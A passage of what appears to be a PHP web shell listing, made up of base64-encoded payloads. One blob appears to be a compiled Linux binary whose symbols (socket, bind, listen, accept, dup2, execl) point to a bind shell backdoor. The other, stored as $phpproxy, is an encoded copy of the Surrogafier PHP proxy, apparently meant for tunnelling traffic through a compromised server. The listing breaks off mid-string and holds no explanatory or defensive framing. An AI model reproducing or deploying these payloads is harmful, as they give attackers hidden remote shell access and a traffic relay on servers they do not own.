ABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  264.  
  265. $phpproxy="
  266. PD9waHAKCiMKIyBTdXJyb2dhZmllciB2MS4wLXJjMwojCiMgQXV0aG9yOiBCcmFkIENhYmxlCiMg
  267. RW1haWw6IHdhcm9ra3Bvbm9yb2dvQHlhaG9vLmNvbQojIExpY2Vuc2U6IE1vZGlmaWVkIEJTRAoj
  268. IExpY2Vuc2UgRGV0YWlsczoKIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocAojCgoKIyBD
  269. T05GSUcge3t7CgojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2Fk
  270. ZWQuIFtmYWxzZV0KZGVmaW5lKCdERUZBVUxUX1NJTVBMRScsZmFsc2UpOwojIEZvcmNlIHRoZSBw
  271. YWdlIHRvIGFsd2F5cyBiZSBpbiBzaW1wbGUgbW9kZSAobm8gYWR2YW5jZWQgbW9kZSBvcHRpb24p
  272. LiBbZmFsc2VdCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7CiMgV2lkdGggZm9yIHRoZSBV
  273. UkwgYm94IHdoZW4gaW4gc2ltcGxlIG1vZGUgKENTUyAid2lkdGgiIGF0dHJpYnV0ZSkuIFszMDBw
  274. eF0KZGVmaW5lKCdTSU1QTEVfTU9ERV9VUkxXSURUSCcsJzMwMHB4Jyk7CgojIERlZmF1bHQgdmFs
  275. dWUgZm9yIHR1bm5lbCBzZXJ2ZXIuIFtdCmRlZmluZSgnREVGQVVMVF9UVU5ORUxfUElQJywnJyk7
  276. CiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdCmRlZmluZSgnREVGQVVMVF9UVU5O
  277. RUxfUFBPUlQnLCcnKTsKIyBTaG91bGQgdGhlIHR1bm5lbCBmaWVsZHMgYmUgZGlzcGxheWVkPyAi
  278. ZmFsc2UiIHZhbHVlIGhlcmUgd2lsbCBmb3JjZSB0aGUgZGVmYXVsdHMgYWJvdmUgW3RydWVdCmRl
  279. ZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOwoKIyBEZWZhdWx0IHZhbHVlIGZvciAi
  280. UGVyc2lzdGVudCBVUkwiIGNoZWNrYm94IFt0cnVlXQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0n
  281. LHRydWUpOwojIERlZmF1bHQgdmFsdWUgZm9yICJSZW1vdmUgQ29va2llcyIgY2hlY2tib3ggW2Zh
  282. bHNlXQpkZWZpbmUoJ0RFRkFVTFRfUkVNT1ZFX0NPT0tJRVMnLGZhbHNlKTsKIyBEZWZhdWx0IHZh
  283. bHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0KZGVmaW5lKCdE
  284. RUZBVUxUX1JFTU9WRV9SRUZFUkVSJyxmYWxzZSk7CiMgRGVmYXVsdCB2YWx1ZSBmb3IgIlJlbW92
  285. ZSBTY3JpcHRzIiBjaGVja2JveCBbZmFsc2VdCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBU
  286. UycsZmFsc2UpOwojIERlZmF1bHQgdmFsdWUgZm9yICJSZW1vdmUgT2JqZWN0cyIgY2hlY2tib3gg
  287. W2ZhbHNlXQpkZWZpbmUoJ0RFRkFVTFRfUkVNT1ZFX09CSkVDVFMnLGZhbHNlKTsKIyBEZWZhdWx0
  288. IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdCmRlZmluZSgnREVGQVVM
  289. VF9FTkNSWVBUX1VSTFMnLGZhbHNlKTsKIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBDb29r
  290. aWVzIiBjaGVja2JveCBbZmFsc2VdCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxz
  291. ZSk7CgovKi8gQWRkcmVzcyBCbG9ja2luZyBOb3RlcyBcKlwKCkZvcm1hdHMgZm9yIGFkZHJlc3Mg
  292. YmxvY2tpbmcgYXJlIGFzIGZvbGxvd3M6CgogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVz
  293. cwogIDEuMC4wLjAvMTYgIC0gc3VibmV0IGJsb2NraW5nCiAgMS4wLzE2ICAgICAgLSBzdWJuZXQg
  294. YmxvY2tpbmcKICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZwogIHBocC5uZXQgICAgIC0g
  295. ZG9tYWluIGJsb2NraW5nCgpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8x
  296. NicsJzEyNy84JywnMTY5LjI1NC8xNicKClwqXCBFbmQgQWRkcmVzcyBCbG9ja2luZyBOb3RlcyAv
  297. Ki8KCiRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNics
  298. JzEyNy84JywnMTY5LjI1NC8xNicpOwoKIyB9fX0KCiMgQURWQU5DRUQgQ09ORklHIHt7ewoKIyBU
  299. aGUgZm9sbG93aW5nIG9wdGlvbnMgYWx0ZXIgdGhlIHdheSBkb2N1bWVudHMgYXJlIHBhcnNlZCBv
  300. biB0aGUgcGFnZS4gIE9OTFkgRURJVCBUSElTIFNUVUZGIElGIFlPVSBSRUFMTFkgS05PVyBXSEFU
  301. IFlPVSBBUkUgRE9JTkchCgojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNv
  302. dWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdAojIEkgcmFuIGlu
  303. dG8gYSAxMjAwKyBjaGFyYWN0ZXIgbG9uZyBVUkwgb25jZSBhbmQgaXQgbmVhcmx5IG1lbHRlZCB0
  304. aGUgcHJvY2Vzc29yIG9uIG15IGxhcHRvcCB0cnlpbmcgdG8gcGFyc2UgaXQKIyBIb25lc3RseSwg
  305. d2hvIG5lZWRzIHRoaXMgbG9uZyBvZiBhIFVSTCBhbnl3YXk/CmRlZmluZSgnTUFYSU1VTV9VUkxf
  306. TEVOR1RIJyw1MDApOwoKIyBUaW1lIGxpbWl0IGluIHNlY29uZHMgZm9yIGEgc2luZ2xlIHJlcXVl
  307. c3QgYW5kIHBhcnNlLiBbMTBdCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOwojIFRpbWUgbGltaXQg
  308. aW4gbWludXRlcyBmb3IgYSBETlMgZW50cnkgdG8gYmUga2VwdCBpbiB0aGUgY2FjaGUuIFsxMF0K
  309. ZGVmaW5lKCdETlNfQ0FDSEVfRVhQSVJFJywxMCk7CgojIFVzZSBnemlwIChpZiBwb3NzaWJsZSkg
  310. dG8gY29tcHJlc3MgdGhlIGNvbm5lY3Rpb24gYmV0d2VlbiB0aGUgcHJveHkgYW5kIHRoZSB1c2Vy
  311. IChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0KZGVmaW5lKCdHWklQX1BST1hZX1VT
  312. RVInLGZhbHNlKTsKIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25u
  313. ZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwg
  314. bW9yZSBDUFUpIFtmYWxzZV0KZGVmaW5lKCdHWklQX1BST1hZX1NFUlZFUicsZmFsc2UpOwoKIyBQ
  315. cm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRv
  316. IGRlZmluZSBpdCBtYW51YWxseS4KIyBJZiB5b3UgbGVhdmUgdGhpcyBsaW5lIGNvbW1lbnRlZCwg
  317. dGhlIGNvZGUgZGV0ZWN0cyBpZiB5b3UgYXJlIHJ1bm5pbmcgb24gYW4KIyBIVFRQUyBjb25uZWN0
  318. aW9uLiAgSWYgeW91IGFyZSwgdGhlbiAnaHR0cHMnIGlzIHVzZWQgYXMgdGhlIFBST1RPIHZhbHVl
  319. LAojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZh
  320. bHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0LgojZGVmaW5lKCdQUk9UTycsJ2h0dHAnKTsKCiMgfX19
  321. CgoKLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcCgoKIwojICh1bmxl
  322. c3MgeW91IGFic29sdXRlbHkga25vdyB3aGF0IHlvdSBhcmUgZG9pbmcuLi4pCiMKCiMgQ09PS0lF
  323. ICYgU0VTU0lPTiBTRVRVUCB7e3sKCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMg
  324. QkVOQ0hNQVJLCi8vJGJsb2NrZWRfYWRkcmVzc2VzPWFycmF5KCk7ICMgREVCVUcKCiMgc2V0IGVy
  325. cm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMKZXJyb3JfcmVwb3J0aW5nKEVfQUxMXkVf
  326. Tk9USUNFKTsKCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYg
  327. bm90IGluIHNhZmUgbW9kZQppZighaW5pX2dldCgnc2FmZV9tb2RlJykpIHNldF90aW1lX2xpbWl0
  328. KFRJTUVfTElNSVQpOwoKIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUKaWYoR1pJ
  329. UF9QUk9YWV9VU0VSICYmIGV4dGVuc2lvbl9sb2FkZWQoJ3psaWInKSAmJiAhaW5pX2dldCgnemxp
  330. Yi5vdXRwdXRfY29tcHJlc3Npb24nKSkgb2Jfc3RhcnQoJ29iX2d6aGFuZGxlcicpOyAjIHVzZSBn
  331. emlwIGVuY29kaW5nIHRvIGNvbXByZXNzIGFsbCBkYXRhLCBpZiBwb3NzaWJsZQoKIyByZXZlcnNl
  332. IG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewoJZnVu
  333. Y3Rpb24gc3RyaXBzbGFzaGVzX3JlY3Vyc2UoJHZhcil7CgkJaWYoaXNfYXJyYXkoJHZhcikpICR2
  334. YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7CgkJZWxzZSAkdmFyPXN0
  335. cmlwc2xhc2hlcygkdmFyKTsKCQlyZXR1cm4gJHZhcjsKCX0KCSRfR0VUPXN0cmlwc2xhc2hlc19y
  336. ZWN1cnNlKCRfR0VUKTsKCSRfUE9TVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX1BPU1QpOwoJJF9D
  337. T09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOwp9CgojIHNjcmlwdCBlbnZpcm9u
  338. bWVudCBjb25zdGFudHMKaWYoIWRlZmluZWQoJ1BST1RPJykpIGRlZmluZSgnUFJPVE8nLCgkX1NF
  339. UlZFUlsnSFRUUFMnXT09J29uJz8naHR0cHMnOidodHRwJykpOwpkZWZpbmUoJ1ZFUlNJT04nLCcx
  340. LjAtcmMzJyk7CmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBf
  341. SE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsKZGVmaW5lKCdTSU1QTEVfTU9ERScsREVG
  342. QVVMVF9TSU1QTEUgfHwgRk9SQ0VfU0lNUExFKTsKCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4
  343. ZXMgIwpmdW5jdGlvbiBnZW5fcmFuZHN0cigkbGVuKXsKCSRjaGFycz1udWxsOwoJZm9yKCRpPTA7
  344. JGk8JGxlbjskaSsrKXsKCQkkY2hhcj1yYW5kKDAsMjUpOwoJCSRjaGFyPWNocigkY2hhcis5Nyk7
  345. CgkJJGNoYXJzLj0kY2hhcjsKCX0KCXJldHVybiAkY2hhcnM7Cn0KCmZ1bmN0aW9uIGRvc2V0Y29v
  346. a2llKCRjb29rbmFtZSwkY29va3ZhbCwkZXhwaXJlPW51bGwpewoJJF9DT09LSUVbJGNvb2tuYW1l
  347. XT0kY29va3ZhbDsKCWlmKCRleHBpcmU9PT1udWxsKSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29r
  348. dmFsKTsKCWVsc2Ugc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCwkZXhwaXJlKTsKfQoKZGVm
  349. aW5lKCdGSVJTVF9MT0FEJyxlbXB0eSgkX0NPT0tJRVsnUEhQU0VTU0lEJ10pKTsKc2Vzc2lvbl9z
  350. dGFydCgpOwppZihlbXB0eSgkX1NFU1NJT05bJ3Nlc3NwcmVmJ10pKXsKCSRzZXNzcHJlZj1nZW5f
  351. cmFuZHN0cigzMCk7CgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOwp9CmVsc2UgJHNl
  352. c3NwcmVmPSRfU0VTU0lPTlsnc2Vzc3ByZWYnXTsKCmlmKGVtcHR5KCRfQ09PS0lFWyd1c2VyJ10p
  353. KXsKCSRjb29rcHJlZj1nZW5fcmFuZHN0cigxMik7Cglkb3NldGNvb2tpZSgndXNlcicsJGNvb2tw
  354. cmVmKTsKfQplbHNlICRjb29rcHJlZj0kX0NPT0tJRVsndXNlciddOwoKZGVmaW5lKCdTRVNTX1BS
  355. RUYnLCRzZXNzcHJlZik7CmRlZmluZSgnQ09PS19QUkVGJywkY29va3ByZWYpOwpkZWZpbmUoJ0NP
  356. T0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOwp1bnNldCgkc2Vzc3ByZWYsJGNv
  357. b2twcmVmKTsKCmlmKEZJUlNUX0xPQUQpewoJaWYoREVGQVVMVF9VUkxfRk9STSkgZG9zZXRjb29r
  358. aWUoQ09PS19QUkVGLidfdXJsX2Zvcm0nLHRydWUpOwoJaWYoREVGQVVMVF9SRU1PVkVfQ09PS0lF
  359. UykgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnLHRydWUpOwoJaWYoREVG
  360. QVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVy
  361. ZXInLHRydWUpOwoJaWYoREVGQVVMVF9SRU1PVkVfU0NSSVBUUykgZG9zZXRjb29raWUoQ09PS19Q
  362. UkVGLidfcmVtb3ZlX3NjcmlwdHMnLHRydWUpOwoJaWYoREVGQVVMVF9SRU1PVkVfT0JKRUNUUykg
  363. ZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnLHRydWUpOwoJaWYoREVGQVVM
  364. VF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1
  365. ZSk7CglpZihERUZBVUxUX0VOQ1JZUFRfQ09PS1MpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2Vu
  366. Y3J5cHRfY29va3MnLHRydWUpOwp9CgojIH19fQoKIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sKCmds
  367. b2JhbCAkcG9zdGFuZGdldCwkYmxvY2tlZF9hZGRyZXNzZXMsJGRuc19jYWNoZV9hcnJheTsKJHBv
  368. c3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsKCmRlZmluZSgnUEFHRVRZUEVfTUlO
  369. SVJFR0VYUCcsJyg9W19cLlwtXT9cJj18PSk/Jyk7CmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywn
  370. L14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOwppZighZW1wdHkoJHBvc3RhbmRnZXRb
  371. Q09PS19QUkVGXSkpICRvZW5jX3VybD0kcG9zdGFuZGdldFtDT09LX1BSRUZdOwplbHNlewoJJHBh
  372. Z2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FV
  373. RVJZX1NUUklORyddKTsKCWRlZmluZSgnUVVFUllfU1RSSU5HJyxzdWJzdHIoJF9TRVJWRVJbJ1FV
  374. RVJZX1NUUklORyddLHN0cmxlbigkcGFnZXR5cGVfc3RyKSxzdHJsZW4oJF9TRVJWRVJbJ1FVRVJZ
  375. X1NUUklORyddKS1zdHJsZW4oJHBhZ2V0eXBlX3N0cikpKTsKCWRlZmluZSgnUEFHRVRZUEVfTlVM
  376. TCcsMCk7CglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOwoJZGVmaW5lKCdQQUdFVFlQ
  377. RV9GUkFNRV9UT1AnLDIpOwoJZGVmaW5lKCdQQUdFVFlQRV9GUkFNRURfUEFHRScsMyk7CglkZWZp
  378. bmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3Jp
  379. bWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkKCXN3aXRj
  380. aCgkcGFnZXR5cGVfc3RyKXsKCQljYXNlICc9Jj0nOiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdF
  381. VFlQRV9GUkFNRV9UT1ApOyBicmVhazsKCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9J
  382. RCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsKCQljYXNlICc9LSY9JzogZGVmaW5lKCdQ
  383. QUdFVFlQRV9JRCcsUEFHRVRZUEVfRk9SQ0VfTUFJTik7IGJyZWFrOwoJCWNhc2UgJz0uJj0nOiBk
  384. ZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyBicmVhazsKIyB0aGlz
  385. IGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcwojCQljYXNl
  386. ICc9KiY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsKTsgYnJlYWs7CgkJZGVmYXVsdDogZGVmaW5l
  387. KCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfTlVMTCk7IGJyZWFrOwoJfQoJdW5zZXQoJHBhZ2V0eXBl
  388. X3N0cik7CgoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1Q
  389. QUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1F
  390. X1RPUCkpOwoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UnLChQQUdFVFlQRV9JRD09
  391. PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9QQUdFVFlQRV9GUkFNRURfQ0hJTEQ6UEFHRVRZUEVfRlJB
  392. TUVEX1BBR0UpKTsKCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOwoJLy9kZWZpbmUoJ09FTkNfVVJM
  393. Jyx1cmxkZWNvZGUocHJlZ19yZXBsYWNlKCcvXihbXiZdKikuKj8kL2knLCdcMScsUVVFUllfU1RS
  394. SU5HKSkpOwp9CmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8
  395. IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRv
  396. ZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgk
  397. b2VuY191cmwpOwpkZWZpbmUoJ09FTkNfVVJMJyxwcmVnX3JlcGxhY2UoJy9eKFteXD9cJl0rKVwm
  398. L2knLCdcMT8nLCRvZW5jX3VybCkpOwp1bnNldCgkb2VuY191cmwpOwpkZWZpbmUoJ09SSUdfVVJM
  399. Jyxwcm94ZGVjKE9FTkNfVVJMKSk7Cmdsb2JhbCAkY3Vycl91cmw7CiRjdXJyX3VybD1PUklHX1VS
  400. TDsKCmZ1bmN0aW9uIGdldGhhcmRhdHRyKCRhdHRyKXsKCWdsb2JhbCAkcG9zdGFuZGdldDsKCXJl
  401. dHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHko
  402. JF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19Q
  403. UkVGLiJfeyRhdHRyfSJdKSk7Cn0KZGVmaW5lKCdFTkNSWVBUX1VSTFMnLGdldGhhcmRhdHRyKCdl
  404. bmNyeXB0X3VybHMnKSk7CmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScp
  405. KTsKZGVmaW5lKCdQQUdFX0ZSQU1FRCcsKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BB
  406. R0UgfHwgUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQgfHwgUVVFUllfU1RSSU5H
  407. PT0nanNfcmVnZXhwc19mcmFtZWQnIHx8IFFVRVJZX1NUUklORz09J2pzX2Z1bmNzX2ZyYW1lZCcp
  408. KTsKI2RlZmluZSgnVVJMVkFSJywoRU5DUllQVF9VUkxTPydlJzpudWxsKS4ndXJsJyk7CgojIH19
  409. fQoKIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ewoKZnVuY3Rpb24gbXlfYmFzZTY0X2RlY29k
  410. ZSgkc3RyaW5nKXsgcmV0dXJuIGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyAnLCcrJyx1cmxk
  411. ZWNvZGUoJHN0cmluZykpKTsgfQoKZnVuY3Rpb24gcHJveGRlYygkdXJsKXsKCWlmKCR1cmx7MH0h
  412. PSd+JyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpIT0nJTdlJykgcmV0dXJuICR1cmw7
  413. Cgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsK
  414. CSMkdXJsPXVybGRlY29kZSgkdXJsKTsKCXdoaWxlKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2Vy
  415. KHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJyl7CgkJJHVybD1zdWJzdHIoJHVybCwxKTsKCQkkdXJs
  416. PW15X2Jhc2U2NF9kZWNvZGUoJHVybCk7CgkJJG5ld191cmw9bnVsbDsKCQlmb3IoJGk9MDskaTxz
  417. dHJsZW4oJHVybCk7JGkrKyl7CgkJCSRjaGFyPW9yZCgkdXJseyRpfSk7CgkJCSRjaGFyLT1vcmQo
  418. c3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7CgkJCXdoaWxlKCRjaGFy
  419. PDMyKSAkY2hhcis9OTQ7CgkJCSRuZXdfdXJsLj1jaHIoJGNoYXIpOwoJCX0KCQkkdXJsPSRuZXdf
  420. dXJsOwoJfQoJcmV0dXJuIHVybGRlY29kZSgkdXJsKTsKfQoKIyB9fX0KCiMgSkFWQVNDUklQVCBF
  421. TkNPRElORyBGVU5DVElPTlMge3t7CgpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+Ci8vPHNjcmlw
  422. dD4KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZT17CmV4cG9uOmZ1bmN0aW9uKGEsYil7Cgl2
  423. YXIgbnVtOwoJaWYoYj09MCkgcmV0dXJuIDE7CgludW09YTsgYi0tOwoJd2hpbGUoYj4wKXsgbnVt
  424. Kj1hOyBiLS07IH0KCXJldHVybiBudW07Cn0sCgpkZWN0b2JpbjpmdW5jdGlvbigpewoJdmFyIGRl
  425. Yz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsKCWZvcihqPWNo
  426. YXJzLTE7aj49MDtqLS0pewoJCWlmKGRlYz49dGhpcy5leHBvbigyLGopKXsKCQkJYmlucmVwKz0i
  427. MSI7IGRlYy09dGhpcy5leHBvbigyLGopOwoJCX0KCQllbHNlIGJpbnJlcCs9IjAiOwoJfQoJcmV0
  428. dXJuIGJpbnJlcDsKfSwKCmJpbnRvZGVjOmZ1bmN0aW9uKCl7Cgl2YXIgYmluPWFyZ3VtZW50c1sw
  429. XSxjaGFycz1hcmd1bWVudHNbMV18fDgsZGVjPTA7Cglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykg
  430. aWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1q
  431. KTsKCXJldHVybiBkZWM7Cn0sCgpiNjRlOmZ1bmN0aW9uKHN0cmluZyl7Cgl2YXIgZW5jc3RyPSIi
  432. LGJpbnJlcD0iIjsKCXZhciBjaGFyYmluLGNoYXJudW07Cglmb3IodmFyIGk9MDtpPHN0cmluZy5s
  433. ZW5ndGg7aSsrKXsKCQljaGFybnVtPXN0cmluZy5jaGFyQ29kZUF0KGkpOwoJCWJpbnJlcCs9dGhp
  434. cy5kZWN0b2JpbihjaGFybnVtKTsKCX0KCXdoaWxlKGJpbnJlcC5sZW5ndGglNikgYmlucmVwKz0i
  435. MDAiOwoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7CgkJY2hhcmJpbj1iaW5y
  436. ZXAuc3Vic3RyaW5nKChpLTEpKjYsaSo2KTsKCQljaGFybnVtPXRoaXMuYmludG9kZWMoY2hhcmJp
  437. biw2KTsKCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7CgkJZWxzZSBpZihjaGFybnVtPD01
